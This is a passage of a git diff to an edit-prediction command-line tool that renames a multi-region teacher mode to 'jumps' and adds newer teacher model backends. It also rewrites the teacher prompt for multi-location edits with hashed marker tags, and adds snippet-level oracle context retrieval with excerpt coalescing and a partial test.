-            | PredictionProvider::TeacherMultiRegion(..)
+            | PredictionProvider::TeacherJumps(..)
             | PredictionProvider::TeacherNonBatching(..)
-            | PredictionProvider::TeacherMultiRegionNonBatching(..)
+            | PredictionProvider::TeacherJumpsNonBatching(..)
             | PredictionProvider::Repair
             | PredictionProvider::Baseten(_) => {
                 unreachable!()
@@ -301,8 +299,8 @@ pub async fn run_prediction(
             })
             .await?;
 
-        let actual_patch = prediction.and_then(|prediction| {
-            let prediction = prediction.prediction;
+        let actual_patch = prediction.and_then(|result| {
+            let prediction = result.prediction;
             prediction
                 .edit_preview
                 .as_unified_diff(prediction.snapshot.file(), &prediction.edits)
@@ -360,7 +358,7 @@ async fn predict_teacher(
             )
             .await
         }
-        TeacherBackend::Gpt52 => {
+        TeacherBackend::Gpt52 | TeacherBackend::Gpt54 | TeacherBackend::Gpt55 => {
             predict_openai(
                 example,
                 backend,
@@ -441,39 +439,48 @@ async fn predict_anthropic(
                 .unwrap_or(PredictionProvider::Teacher(backend, ZetaFormat::default()))
         } else {
             match example.prompt.as_ref().map(|prompt| prompt.provider) {
-                Some(PredictionProvider::TeacherMultiRegion(_))
-                | Some(PredictionProvider::TeacherMultiRegionNonBatching(_)) => {
-                    PredictionProvider::TeacherMultiRegionNonBatching(backend)
+                Some(PredictionProvider::TeacherJumps(_))
+                | Some(PredictionProvider::TeacherJumpsNonBatching(_)) => {
+                    PredictionProvider::TeacherJumpsNonBatching(backend)
                 }
                 _ => PredictionProvider::TeacherNonBatching(backend, ZetaFormat::default()),
             }
         };
 
-        let (actual_patch, actual_cursor) = match parser_provider {
-            PredictionProvider::TeacherMultiRegion(_)
-            | PredictionProvider::TeacherMultiRegionNonBatching(_) => {
-                TeacherMultiRegionPrompt::parse(example, &actual_output)?
+        let parse_result = match parser_provider {
+            PredictionProvider::TeacherJumps(_)
+            | PredictionProvider::TeacherJumpsNonBatching(_) => {
+                TeacherJumpsPrompt::parse(example, &actual_output)
             }
-            _ => TeacherPrompt::parse(example, &actual_output)?,
+            _ => TeacherPrompt::parse(example, &actual_output),
+        };
+        // A teacher response can parse as text yet describe an invalid edit
+        // (e.g. an edit span crossing non-contiguous snippets, or a truncated
+        // span). Record the rejection on the prediction instead of propagating
+        // it: the raw output is preserved for `parse-output`/inspection, and a
+        // single bad example no longer aborts an entire (already paid for) batch.
+        let (actual_patch, actual_cursor, error) = match parse_result {
+            Ok((patch, cursor)) => (Some(patch), cursor, None),
+            Err(err) => (None, None, Some(format!("{err:#}"))),
         };
 
         let prediction = ExamplePrediction {
-            actual_patch: Some(actual_patch),
+            actual_patch,
             actual_output,
             actual_cursor,
-            error: None,
+            error,
             provider: if batched {
                 match example.prompt.as_ref().map(|prompt| prompt.provider) {
-                    Some(PredictionProvider::TeacherMultiRegion(_)) => {
-                        PredictionProvider::TeacherMultiRegion(backend)
+                    Some(PredictionProvider::TeacherJumps(_)) => {
+                        PredictionProvider::TeacherJumps(backend)
                     }
                     _ => PredictionProvider::Teacher(backend, ZetaFormat::default()),
                 }
             } else {
                 match example.prompt.as_ref().map(|prompt| prompt.provider) {
-                    Some(PredictionProvider::TeacherMultiRegion(_))
-                    | Some(PredictionProvider::TeacherMultiRegionNonBatching(_)) => {
-                        PredictionProvider::TeacherMultiRegionNonBatching(backend)
+                    Some(PredictionProvider::TeacherJumps(_))
+                    | Some(PredictionProvider::TeacherJumpsNonBatching(_)) => {
+                        PredictionProvider::TeacherJumpsNonBatching(backend)
                     }
                     _ => PredictionProvider::TeacherNonBatching(backend, ZetaFormat::default()),
                 }
@@ -560,39 +567,45 @@ async fn predict_openai(
                 .unwrap_or(PredictionProvider::Teacher(backend, ZetaFormat::default()))
         } else {
             match example.prompt.as_ref().map(|prompt| prompt.provider) {
-                Some(PredictionProvider::TeacherMultiRegion(_))
-                | Some(PredictionProvider::TeacherMultiRegionNonBatching(_)) => {
-                    PredictionProvider::TeacherMultiRegionNonBatching(backend)
+                Some(PredictionProvider::TeacherJumps(_))
+                | Some(PredictionProvider::TeacherJumpsNonBatching(_)) => {
+                    PredictionProvider::TeacherJumpsNonBatching(backend)
                 }
                 _ => PredictionProvider::TeacherNonBatching(backend, ZetaFormat::default()),
             }
         };
 
-        let (actual_patch, actual_cursor) = match parser_provider {
-            PredictionProvider::TeacherMultiRegion(_)
-            | PredictionProvider::TeacherMultiRegionNonBatching(_) => {
-                TeacherMultiRegionPrompt::parse(example, &actual_output)?
+        let parse_result = match parser_provider {
+            PredictionProvider::TeacherJumps(_)
+            | PredictionProvider::TeacherJumpsNonBatching(_) => {
+                TeacherJumpsPrompt::parse(example, &actual_output)
             }
-            _ => TeacherPrompt::parse(example, &actual_output)?,
+            _ => TeacherPrompt::parse(example, &actual_output),
+        };
+        // See `predict_anthropic`: an unparseable/invalid teacher edit is
+        // recorded as a per-prediction error rather than aborting the batch.
+        let (actual_patch, actual_cursor, error) = match parse_result {
+            Ok((patch, cursor)) => (Some(patch), cursor, None),
+            Err(err) => (None, None, Some(format!("{err:#}"))),
         };
 
         let prediction = ExamplePrediction {
-            actual_patch: Some(actual_patch),
+            actual_patch,
             actual_output,
             actual_cursor,
-            error: None,
+            error,
             provider: if batched {
                 match example.prompt.as_ref().map(|prompt| prompt.provider) {
-                    Some(PredictionProvider::TeacherMultiRegion(_)) => {
-                        PredictionProvider::TeacherMultiRegion(backend)
+                    Some(PredictionProvider::TeacherJumps(_)) => {
+                        PredictionProvider::TeacherJumps(backend)
                     }
                     _ => PredictionProvider::Teacher(backend, ZetaFormat::default()),
                 }
             } else {
                 match example.prompt.as_ref().map(|prompt| prompt.provider) {
-                    Some(PredictionProvider::TeacherMultiRegion(_))
-                    | Some(PredictionProvider::TeacherMultiRegionNonBatching(_)) => {
-                        PredictionProvider::TeacherMultiRegionNonBatching(backend)
+                    Some(PredictionProvider::TeacherJumps(_))
+                    | Some(PredictionProvider::TeacherJumpsNonBatching(_)) => {
+                        PredictionProvider::TeacherJumpsNonBatching(backend)
                     }
                     _ => PredictionProvider::TeacherNonBatching(backend, ZetaFormat::default()),
                 }
@@ -694,7 +707,7 @@ pub async fn predict_baseten(
 pub async fn sync_batches(provider: Option<&PredictionProvider>) -> anyhow::Result<()> {
     match provider {
         Some(PredictionProvider::Teacher(backend, _))
-        | Some(PredictionProvider::TeacherMultiRegion(backend)) => match backend {
+        | Some(PredictionProvider::TeacherJumps(backend)) => match backend {
             TeacherBackend::Sonnet45 | TeacherBackend::Sonnet46 => {
                 let llm_client = ANTHROPIC_CLIENT.get_or_init(|| {
                     AnthropicClient::batch(&crate::paths::LLM_CACHE_DB)
@@ -705,7 +718,7 @@ pub async fn sync_batches(provider: Option<&PredictionProvider>) -> anyhow::Resu
                     .await
                     .context("Failed to sync Anthropic batches")?;
             }
-            TeacherBackend::Gpt52 => {
+            TeacherBackend::Gpt52 | TeacherBackend::Gpt54 | TeacherBackend::Gpt55 => {
                 let llm_client = OPENAI_CLIENT.get_or_init(|| {
                     OpenAiClient::batch(&crate::paths::LLM_CACHE_DB)
                         .expect("Failed to create OpenAI client")
@@ -725,7 +738,9 @@ pub async fn reprocess_after_batch_wait(
     examples: &mut [Example],
     args: &PredictArgs,
 ) -> anyhow::Result<()> {
-    let Some(PredictionProvider::Teacher(backend, _)) = args.provider else {
+    let (Some(PredictionProvider::Teacher(backend, _))
+    | Some(PredictionProvider::TeacherJumps(backend))) = args.provider
+    else {
         return Ok(());
     };
 
@@ -784,7 +799,8 @@ pub async fn wait_for_batches(provider: Option<&PredictionProvider>) -> anyhow::
 
 fn pending_batch_count(provider: Option<&PredictionProvider>) -> anyhow::Result<usize> {
     match provider {
-        Some(PredictionProvider::Teacher(backend, _)) => match backend {
+        Some(PredictionProvider::Teacher(backend, _))
+        | Some(PredictionProvider::TeacherJumps(backend)) => match backend {
             TeacherBackend::Sonnet45 | TeacherBackend::Sonnet46 => {
                 let llm_client = ANTHROPIC_CLIENT.get_or_init(|| {
                     AnthropicClient::batch(&crate::paths::LLM_CACHE_DB)
@@ -792,7 +808,7 @@ fn pending_batch_count(provider: Option<&PredictionProvider>) -> anyhow::Result<
                 });
                 llm_client.pending_batch_count()
             }
-            TeacherBackend::Gpt52 => {
+            TeacherBackend::Gpt52 | TeacherBackend::Gpt54 | TeacherBackend::Gpt55 => {
                 let llm_client = OPENAI_CLIENT.get_or_init(|| {
                     OpenAiClient::batch(&crate::paths::LLM_CACHE_DB)
                         .expect("Failed to create OpenAI client")
diff --git a/crates/edit_prediction_cli/src/prompts/teacher_multi_region.md b/crates/edit_prediction_cli/src/prompts/teacher_jumps.md
similarity index 61%
rename from crates/edit_prediction_cli/src/prompts/teacher_multi_region.md
rename to crates/edit_prediction_cli/src/prompts/teacher_jumps.md
index 61c5c8f3837a32..44543dc7f6f5f3 100644
--- a/crates/edit_prediction_cli/src/prompts/teacher_multi_region.md
+++ b/crates/edit_prediction_cli/src/prompts/teacher_jumps.md
@@ -1,14 +1,15 @@
 # Instructions
 
-You are an edit prediction assistant in a code editor. Your task is to predict the next edit to a given region of code surrounding the user's cursor.
+You are an edit prediction assistant in a code editor. Your task is to predict the next edits the user will make, based on their recent edit history and the code they can see.
 
 1. Analyze the edit history to understand what the programmer is trying to achieve
 2. Identify any incomplete refactoring or changes that need to be finished
-3. Make the remaining edits that a human programmer would logically make next (by rewriting a region of code near their cursor)
+3. Predict the edits a human programmer would logically make next — including edits **far from the cursor**, in other parts of the current file, or in **other files** shown in the related excerpts
 
 ## Focus on
 
 - Completing any partially-applied changes made
+- Propagating changes to every place they affect: callers after a signature change, imports after a new reference, tests after a behavior change, and so on
 - Ensuring consistency with the programming style and patterns already established
 - Making edits that maintain or improve code quality
 
@@ -24,7 +25,7 @@ You are an edit prediction assistant in a code editor. Your task is to predict t
 - Auto-generated code can be modified: Hunks marked with `// User accepted prediction:` contain code from a previous prediction the user accepted. Unlike user-typed content, these hunks CAN be edited, corrected, or replaced if it improves the code. The "never undo/revert" rule protects the user's *current typing intent*—auto-generated code doesn't carry this protection
 - Do not just mechanically apply patterns - reason about what changes make sense given the context and the programmer's apparent goals.
 - Do not just fix syntax errors - look for the broader refactoring pattern and apply it systematically throughout the code.
-- Keep existing formatting unless it's absolutely necessary
+- Keep existing formatting unless it's absolutely necessary. In particular, never add or delete blank lines or make other whitespace-only changes that are separate from your actual edit — reproduce untouched lines exactly as they appear, including blank ones
 - When edit history and surrounding code suggest different edits, prioritize the most recent edits in the history as they best reflect current intent.
 - Treat partial text at or near the cursor as the beginning of something the user is actively typing. Complete the code the user appears to be creating based on context.
 - When completing partial code, prefer predictions that save meaningful keystrokes, even if this requires making educated guesses about the user's intent.
@@ -36,27 +37,32 @@ You are an edit prediction assistant in a code editor. Your task is to predict t
 You will be provided with:
 1. The user's *edit history*, in chronological order. Use this to infer the user's trajectory and predict the next most logical edit.
   - Hunks preceded by `// User accepted prediction:` indicate code that was auto-generated by a previous prediction and accepted by the user. These are treated differently than user-typed edits (see Rules).
-2. A set of *related excerpts* from the user's codebase. Some of these may be needed for correctly predicting the next edit.
-  - `…` may appear within a related file to indicate that some code has been skipped.
-3. An excerpt from the user's *current file*.
-    - The excerpt contains numbered *marker* tags (`<|marker_1|>`, `<|marker_2|>`, etc.) placed at block boundaries throughout the code. These markers divide the excerpt into spans that you can target for editing.
-    - Code that appears before the first marker or after the last marker is read-only context and cannot be edited.
+2. A set of *related excerpts* from the user's codebase. Some of these may be needed for correctly predicting the next edit, and you can also predict edits inside them.
+  - `...` may appear within a related file to indicate that some code has been skipped.
+3. The user's *current file*.
     - The `<|user_cursor|>` tag marks the user's current cursor position, as it stands after the last edit in the history.
+    - `...` may appear here too when parts of the file are skipped.
+
+All of the code you can see — the current file **and** every related excerpt — contains *marker* tags (e.g. `<|marker_b1f8|>`). Each marker has a unique four-character identifier derived from the code near it. Markers are placed at block boundaries and divide the code into spans that you can target for editing. Any span between two markers in the same excerpt can be rewritten.
 
 # Output Format
 
-- Briefly explain the user's current intent based on the edit history and their current cursor location.
-- Output a markdown codeblock containing your predicted edit as a **marker-bounded span**:
-  - The codeblock must **start** with a marker tag (e.g. `<|marker_2|>`) and **end** with a marker tag (e.g. `<|marker_4|>`).
-  - The content between these two markers is the full replacement for that span in the original file.
-  - Choose the **narrowest** pair of markers that fully contains your predicted edits, to minimize unnecessary output.
-  - Reproduce any unchanged lines within the chosen span faithfully — do not omit or alter them.
+- Briefly explain the user's current intent based on the edit history and their current cursor location, and which locations need to change next.
+- Output your predicted edits as a **sequence of markdown codeblocks** — one codeblock per edit — in the order you expect the user to make them. Often a single edit is enough; output multiple edits only when the user's trajectory clearly requires changes in several places.
+- Each codeblock contains one **marker-bounded span**:
+  - The codeblock must **start** with a marker tag (e.g. `<|marker_b1f8|>`) and **end** with another marker tag (e.g. `<|marker_Tx2v|>`).
+  - Both markers must come from the **same excerpt**, with the start marker appearing before the end marker.
+  - The content between these two markers is the full replacement for that span in the original code. **Every original line you do not reproduce is deleted.** You cannot stop early: write the span's content all the way to the end marker, even when your actual change only touches the beginning of the span.
+  - Choose the **narrowest** pair of markers that fully contains your predicted edit, to minimize unnecessary output.
+  - Reproduce any unchanged lines within the chosen span faithfully — do not omit or alter them. Before writing the end marker, verify that the lines just before it match the original lines just before that marker (unless you intend to delete them).
+  - To delete code, prefer a span whose end marker lies **beyond** the deleted code, so that your output still ends with reproduced unchanged lines. Output that reproduces the start of a span and then stops at the end marker is treated as malformed (truncated), not as a deletion.
   - Do not include any intermediate marker tags in your output — only the start and end markers.
-- If no edit is needed (the code is already complete and correct, or there is no clear next edit to make), output a codeblock containing only `NO_EDITS`:
+- All edits apply to the code **as shown above** (the original snapshot): the spans of different edits must not overlap, and a later edit must not depend on the text inserted by an earlier one.
+- If no edit is needed (the code is already complete and correct, or there is no clear next edit to make), output a single codeblock containing only `NO_EDITS`:
   `````
   NO_EDITS
   `````
-- If there is a specific place in the predicted output where the user is likely to edit next, indicate it using the `<|user_cursor|>` tag.
+- If there is a specific place in the predicted output where the user is likely to edit next, indicate it using the `<|user_cursor|>` tag (in at most one edit).
 
 ## Example 1
 
@@ -64,11 +70,13 @@ There is code missing at the cursor location. The related excerpts includes the
 
 ### Related Excerpts
 
-`````
+`````src/product.rs
+<|marker_Hw3q|>
 struct Product {
     name: String,
     price: u32,
 }
+<|marker_pY7c|>
 `````
 
 ### User Edit History
@@ -89,15 +97,17 @@ struct Product {
 ### Current File
 
 `````src/calculate.rs
+<|marker_b1f8|>
 fn calculate_total(products: &[Product]) -> u32 {
-<|marker_1|>
+<|marker_Tx2v|>
     let mut total = 0;
     for product in products {
         total += <|user_cursor|>;
     }
     total
-<|marker_2|>
+<|marker_e9Kd|>
 }
+<|marker_0aRm|>
 `````
 
 ### Output
@@ -105,13 +115,13 @@ fn calculate_total(products: &[Product]) -> u32 {
 The user is computing a sum based on a list of products. The only numeric field on `Product` is `price`, so they must intend to sum the prices.
 
 `````
-<|marker_1|>
+<|marker_Tx2v|>
     let mut total = 0;
     for product in products {
         total += product.price;
     }
     total
-<|marker_2|>
+<|marker_e9Kd|>
 `````
 
 ## Example 2
@@ -134,14 +144,14 @@ The user appears to be in the process of typing an eprintln call. Rather than fi
 ### Current File
 
 `````src/modal.rs
-<|marker_1|>
+<|marker_kQ4z|>
 // handle the close button click
 fn handle_close_button_click(modal_state: &mut ModalState, evt: &Event) {
-<|marker_2|>
+<|marker_8sWn|>
     modal_state.close();
     epr<|user_cursor|>modal_state.dismiss();
 }
-<|marker_3|>
+<|marker_vJ2p|>
 `````
 
 ### Output
@@ -149,66 +159,64 @@ fn handle_close_button_click(modal_state: &mut ModalState, evt: &Event) {
 The user is clearly starting to type `eprintln!()`, however, what they intend to print is not obvious. I should fill in the print call and string literal, with the cursor positioned inside the string literal so the user can print whatever they want.
 
 `````
-<|marker_2|>
+<|marker_8sWn|>
     modal_state.close();
     eprintln!("<|user_cursor|>");
     modal_state.dismiss();
 }
-<|marker_3|>
+<|marker_vJ2p|>
 `````
 
 ## Example 3
 
-Here, the user is adding a function. There's no way to tell for sure what the function's name will be. In this situation, you should make a reasonable guess at the function's name and signature, and place the user's cursor in the function body. This way, if you guess correctly, it will save the user a meaningful number of keystrokes, and the file will be left in a coherent state.
+Here, the user has renamed a function in the current file. The old name is still used in another file, shown in the related excerpts. You should predict the sequence of edits that completes the rename: first where they are typing, then the call site in the other file.
 
-### User Edit History
+### Related Excerpts
 
+`````src/server.rs
+<|marker_Fq6a|>
+fn handle_request(request: Request) -> Response {
+    let user = fetch_user(request.user_id);
+<|marker_mC1t|>
+    let permissions = fetch_permissions(&user);
+    Response::ok(user, permissions)
+}
+<|marker_2dXe|>
 `````
---- a/src/modal.rs
-+++ b/src/modal.rs
-@@ -100,4 +100,4 @@
- fn handle_close_button_click(modal_state: &mut ModalState, evt: &Event) {
-     modal_state.close();
-     modal_state.dismiss();
- }
-+
-+fn
 
- fn handle_keystroke(modal_state: &mut ModalState, evt: &Event) {
+### User Edit History
+
+`````
+--- a/src/db.rs
++++ b/src/db.rs
+@@ -10,7 +10,7 @@
+-fn fetch_user(user_id: UserId) -> User {
++fn fetch_user_cached(user_id: UserId) -> User {
 `````
 
 ### Current File
 
-`````src/modal.rs
-// handle the close button click
-fn handle_close_button_click(modal_state: &mut ModalState, evt: &Event) {
-    modal_state.close();
-<|marker_1|>
-    modal_state.dismiss();
+`````src/db.rs
+<|marker_pL5w|>
+fn fetch_user_cached<|user_cursor|>(user_id: UserId) -> User {
+    CACHE.get_or_insert(user_id, || load_user(user_id))
 }
-
-fn<|user_cursor|>
-
-<|marker_2|>
-fn handle_keystroke(modal_state: &mut ModalState, evt: &Event) {
-    modal_state.begin_edit();
-<|marker_3|>
+<|marker_zN8j|>
+fn fetch_permissions(user: &User) -> Permissions {
+    load_permissions(user.role)
+}
+<|marker_4tGb|>
 `````
 
 ### Output
 
-The user is adding a new function. The existing functions I see are `handle_close_button_click` and `handle_keystroke`, which have similar signatures. One possible function they might be adding is `handle_submit`.
+The user renamed `fetch_user` to `fetch_user_cached`. The related excerpt from `src/server.rs` still calls the old name `fetch_user`, so that call site must be updated to match.
 
 `````
-<|marker_1|>
-    modal_state.dismiss();
-}
-
-fn handle_submit(modal_state: &mut ModalState, evt: &Event) {
-    <|user_cursor|>
-}
-
-<|marker_2|>
+<|marker_Fq6a|>
+fn handle_request(request: Request) -> Response {
+    let user = fetch_user_cached(request.user_id);
+<|marker_mC1t|>
 `````
 
 ## Example 4
@@ -230,11 +238,11 @@ The code is already complete and there is no clear next edit to make. You should
 ### Current File
 
 `````src/utils.rs
-<|marker_1|>
+<|marker_Wd9u|>
 fn add(a: i32, b: i32) -> i32 {
     a + b<|user_cursor|>
 }
-<|marker_2|>
+<|marker_aE3h|>
 `````
 
 ### Output
@@ -264,11 +272,11 @@ The user just deleted code, leaving behind what looks incomplete. You must NOT "
 ### Current File
 
 `````config.nix
-<|marker_1|>
+<|marker_Jr7y|>
     # /etc/modular/crashdb needs to be mutable
     ln -s /tmp/cr<|user_cursor|> $out/etc/modular/crashdb
   '';
-<|marker_2|>
+<|marker_sB1v|>
 `````
 
 ### Output
@@ -281,6 +289,61 @@ NO_EDITS
 
 ## Example 6
 
+The user is using a type that is not yet imported, and is partway through using it in the function body. The next edits are: finish the line they are typing, then add the missing import at the top of the file — a sequence of two edits in different places.
+
+### User Edit History
+
+`````
+--- a/src/api.py
++++ b/src/api.py
+@@ -40,6 +40,7 @@
+ def get_report(report_id):
+     report = load_report(report_id)
++    timestamp = datetime.
+     return render(report)
+`````
+
+### Current File
+
+`````src/api.py
+<|marker_Gc2f|>
+import json
+
+from app.reports import load_report, render
+<|marker_x7Qe|>
+
+def get_report(report_id):
+    report = load_report(report_id)
+    timestamp = datetime.<|user_cursor|>
+    return render(report)
+<|marker_nV5s|>
+`````
+
+### Output
+
+The user is adding a timestamp using `datetime`, which is not imported yet. The most likely completion is `datetime.now()`. After completing that line, the user will need to import `datetime` at the top of the file.
+
+`````
+<|marker_x7Qe|>
+
+def get_report(report_id):
+    report = load_report(report_id)
+    timestamp = datetime.now(<|user_cursor|>)
+    return render(report)
+<|marker_nV5s|>
+`````
+
+`````
+<|marker_Gc2f|>
+import json
+from datetime import datetime
+
+from app.reports import load_report, render
+<|marker_x7Qe|>
+`````
+
+## Example 7
+
 The user accepted a prediction for a function, then started renaming it. The original arguments were auto-generated (marked with `// User accepted prediction:`), so they CAN be updated to match the new function name. This is NOT reverting user input—it's improving auto-generated scaffolding.
 
 ### User Edit History
@@ -319,14 +382,14 @@ The user accepted a prediction for a function, then started renaming it. The ori
 ### Current File
 
 `````math_utils.py
-<|marker_1|>
+<|marker_Ub4n|>
 def calculate_rectangle_area(width, height):
     return width * height
 
-<|marker_2|>
+<|marker_h3Zt|>
 def calculate_sq<|user_cursor|>_perimeter(width, height):
 
-<|marker_3|>
+<|marker_q8Pj|>
 `````
 
 ### Output
@@ -334,10 +397,10 @@ def calculate_sq<|user_cursor|>_perimeter(width, height):
 The user accepted a prediction for `calculate_rectangle_perimeter(width, height)`, then started renaming `rectangle` to `square`. Since squares have equal sides, the arguments should change from `(width, height)` to `(side)`. The arguments were auto-generated (from an accepted prediction), so modifying them is appropriate.
 
 `````
-<|marker_2|>
+<|marker_h3Zt|>
 def calculate_square_perimeter(side):
     <|user_cursor|>
-<|marker_3|>
+<|marker_q8Pj|>
 `````
 
 
@@ -363,4 +426,4 @@ def calculate_square_perimeter(side):
 
 -----
 
-Based on the edit history and context above, predict the user's next edit within the marker-bounded spans.
+Based on the edit history and context above, predict the user's next edits as a sequence of marker-bounded spans.
diff --git a/crates/edit_prediction_cli/src/retrieve_context.rs b/crates/edit_prediction_cli/src/retrieve_context.rs
index 93ce5ecb2c3eb8..802fca21d4d5c3 100644
--- a/crates/edit_prediction_cli/src/retrieve_context.rs
+++ b/crates/edit_prediction_cli/src/retrieve_context.rs
@@ -1,13 +1,15 @@
 use crate::{
     example::Example,
+    format_prompt::line_start_offset,
     headless::EpAppState,
     load_project::run_load_project,
     progress::{ExampleProgress, InfoStyle, Step, StepProgress},
 };
 use anyhow::Context as _;
 use clap::ValueEnum;
-use collections::HashSet;
+use collections::{HashMap, HashSet};
 use edit_prediction::{DebugEvent, EditPredictionStore, udiff::refresh_worktree_entries};
+use edit_prediction_context::OracleTarget;
 use futures::{FutureExt as _, StreamExt as _, channel::mpsc};
 use gpui::{AsyncApp, Entity};
 use language::Buffer;
@@ -29,6 +31,7 @@ pub enum ContextRetrievalType {
     GitLog,
     Bm25,
     OracleFile,
+    OracleSnippet,
     #[default]
     All,
     None,
@@ -45,6 +48,7 @@ impl std::fmt::Display for ContextRetrievalType {
             ContextRetrievalType::GitLog => write!(f, "git-log"),
             ContextRetrievalType::Bm25 => write!(f, "bm25"),
             ContextRetrievalType::OracleFile => write!(f, "oracle-file"),
+            ContextRetrievalType::OracleSnippet => write!(f, "oracle-snippet"),
             ContextRetrievalType::All => write!(f, "all"),
             ContextRetrievalType::None => write!(f, "none"),
         }
@@ -62,6 +66,7 @@ impl ContextRetrievalType {
             ContextRetrievalType::GitLog => vec![ContextSource::GitLog],
             ContextRetrievalType::Bm25 => vec![ContextSource::Bm25],
             ContextRetrievalType::OracleFile => vec![ContextSource::OracleFile],
+            ContextRetrievalType::OracleSnippet => vec![ContextSource::OracleSnippet],
             ContextRetrievalType::All => {
                 let mut sources = vec![ContextSource::Lsp];
                 sources.extend(editable_context_sources());
@@ -158,10 +163,16 @@ pub async fn run_context_retrieval(
         .filter(|context_source| *context_source != ContextSource::Lsp)
         .collect::<Vec<_>>();
     if !editable_context_sources.is_empty() {
-        let oracle_paths = if editable_context_sources.contains(&ContextSource::OracleFile) {
-            let oracle_paths = oracle_paths_from_expected_patches(example);
+        let oracle_targets = if editable_context_sources.contains(&ContextSource::OracleFile)
+            || editable_context_sources.contains(&ContextSource::OracleSnippet)
+        {
+            let oracle_targets = oracle_targets_from_expected_patches(example);
+            let oracle_paths = oracle_targets
+                .iter()
+                .map(|target| target.path.clone())
+                .collect::<Vec<_>>();
             refresh_paths(&project, &oracle_paths, &mut cx).await?;
-            oracle_paths
+            oracle_targets
         } else {
             Vec::new()
         };
@@ -172,7 +183,7 @@ pub async fn run_context_retrieval(
                     project.clone(),
                     state.buffer.clone(),
                     state.cursor_position,
-                    oracle_paths,
+                    oracle_targets,
                     editable_context_sources,
                     cx,
                 )
@@ -201,41 +212,121 @@ fn merge_context_files(
         {
             existing_file.max_row = existing_file.max_row.max(new_file.max_row);
             existing_file.excerpts.append(&mut new_file.excerpts);
-            existing_file
-                .excerpts
-                .sort_by_key(|excerpt| (excerpt.order, excerpt.row_range.start));
             existing_file.in_open_source_repo =
                 existing_file.in_open_source_repo && new_file.in_open_source_repo;
         } else {
             context_files.push(new_file);
         }
     }
+    for file in context_files.iter_mut() {
+        coalesce_touching_excerpts(&mut file.excerpts);
+    }
 }
 
-fn oracle_paths_from_expected_patches(example: &Example) -> Vec<Arc<Path>> {
-    let mut seen_paths = HashSet::default();
-    let mut paths = Vec::new();
-
-    for patch in &example.spec.expected_patches {
-        for path in paths_from_diff(patch) {
-            if seen_paths.insert(path.clone()) {
-                paths.push(path.into());
+/// Sort a file's excerpts by position and merge those whose row ranges touch
+/// or overlap. Touching excerpts render seamlessly in prompts (no `...`
+/// separator), so keeping them separate splits edit addressing across a
+/// boundary the model can't see and wastes adjacent marker tags (see
+/// `TeacherJumpsPrompt::parse`).
+///
+/// A merged excerpt keeps the minimum `order` (and that excerpt's context
+/// source), so the highest-priority content still survives budget-based
+/// selection downstream; the tradeoff is that lower-priority touching
+/// content is now selected together with it.
+fn coalesce_touching_excerpts(excerpts: &mut Vec<zeta_prompt::RelatedExcerpt>) {
+    excerpts.sort_by_key(|excerpt| (excerpt.row_range.start, excerpt.row_range.end));
+    let mut coalesced: Vec<zeta_prompt::RelatedExcerpt> = Vec::with_capacity(excerpts.len());
+    for excerpt in excerpts.drain(..) {
+        let Some(last) = coalesced.last_mut() else {
+            coalesced.push(excerpt);
+            continue;
+        };
+        if excerpt.row_range.start > last.row_range.end {
+            coalesced.push(excerpt);
+            continue;
+        }
+        if excerpt.row_range.end > last.row_range.end {
+            // Touching or overlapping. Shared rows come from the same buffer
+            // snapshot, so drop the duplicated prefix of the new excerpt and
+            // append the rest.
+            let mut overlap_rows = (last.row_range.end - excerpt.row_range.start) as usize;
+            if !last.text.ends_with('\n') && !last.text.is_empty() {
+                // An unterminated final line means `last` includes the
+                // content of its `row_range.end` row itself.
+                overlap_rows += 1;
+            }
+            let Some(tail_start) = line_start_offset(&excerpt.text, overlap_rows) else {
+                // The excerpt has fewer lines than its row range claims;
+                // leave it unmerged rather than corrupt the text.
+                coalesced.push(excerpt);
+                continue;
+            };
+            let mut text =
+                String::with_capacity(last.text.len() + excerpt.text.len() - tail_start + 1);
+            text.push_str(&last.text);
+            if !text.is_empty() && !text.ends_with('\n') {
+                text.push('\n');
             }
+            text.push_str(&excerpt.text[tail_start..]);
+            last.text = text.into();
+            last.row_range.end = excerpt.row_range.end;
+        }
+        if excerpt.order < last.order {
+            last.order = excerpt.order;
+            last.context_source = excerpt.context_source;
         }
     }
-
-    paths
+    *excerpts = coalesced;
 }
 
-fn paths_from_diff(diff: &str) -> Vec<PathBuf> {
-    diff.lines()
-        .filter_map(|line| match DiffLine::parse(line) {
-            DiffLine::OldPath { path } | DiffLine::NewPath { path }
-                if path.as_ref() != "/dev/null" =>
-            {
-                Some(Path::new(path.as_ref()).to_path_buf())
+fn oracle_targets_from_expected_patches(example: &Example) -> Vec<OracleTarget> {
+    let mut target_indices: HashMap<PathBuf, usize> = HashMap::default();
+    let mut targets: Vec<(PathBuf, Vec<std::ops::Range<u32>>)> = Vec::new();
+
+    let mut target_index = |path: &str, targets: &mut Vec<(PathBuf, Vec<std::ops::Range<u32>>)>| {
+        let path = Path::new(path).to_path_buf();
+        *target_indices.entry(path.clone()).or_insert_with(|| {
+            targets.push((path, Vec::new()));
+            targets.len() - 1
+        })
+    };
+
+    for patch in &example.spec.expected_patches {
+        // Index of the target whose old-side rows the current hunk headers
+        // refer to. Hunk old rows refer to the file's current state only for
+        // the first expected patch; later patches drift, but the snippet
+        // padding absorbs small offsets.
+        let mut current_target: Option<usize> = None;
+        for line in patch.lines() {
+            match DiffLine::parse(line) {
+                DiffLine::OldPath { path } => {
+                    current_target = (path.as_ref() != "/dev/null")
+                        .then(|| target_index(path.as_ref(), &mut targets));
+                }
+                DiffLine::NewPath { path } => {
+                    if path.as_ref() != "/dev/null" {
+                        let index = target_index(path.as_ref(), &mut targets);
+                        if current_target.is_none() {
+                            current_target = Some(index);
+                        }
+                    }
+                }
+                DiffLine::HunkHeader(Some(location)) => {
+                    if let Some(index) = current_target {
+                        let start = location.start_line_old;
+                        targets[index].1.push(start..start + location.count_old);
+                    }
+                }
+                _ => {}
             }
-            _ => None,
+        }
+    }
+
+    targets
+        .into_iter()
+        .map(|(path, row_ranges)| OracleTarget {
+            path: path.into(),
+            row_ranges,
         })
         .collect()
 }
@@ -369,3 +460,132 @@ async fn wait_for_language_servers_to_start(
     step_progress.clear_substatus();
     Ok(())
 }
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use zeta_prompt::{ContextSource, RelatedExcerpt, RelatedFile};
+
+    fn excerpt(
+        row_range: std::ops::Range<u32>,
+        text: &str,
+        order: usize,
+        context_source: ContextSource,
+    ) -> RelatedExcerpt {
+        RelatedExcerpt {
+            row_range,
+            text: Arc::from(text),
+            order,
+            context_source,
+        }
+    }
+
+    #[test]
+    fn test_coalesce_touching_excerpts() {
+        let mut excerpts = vec![
+            excerpt(2..4, "line2\nline3\n", 1, ContextSource::EditHistory),
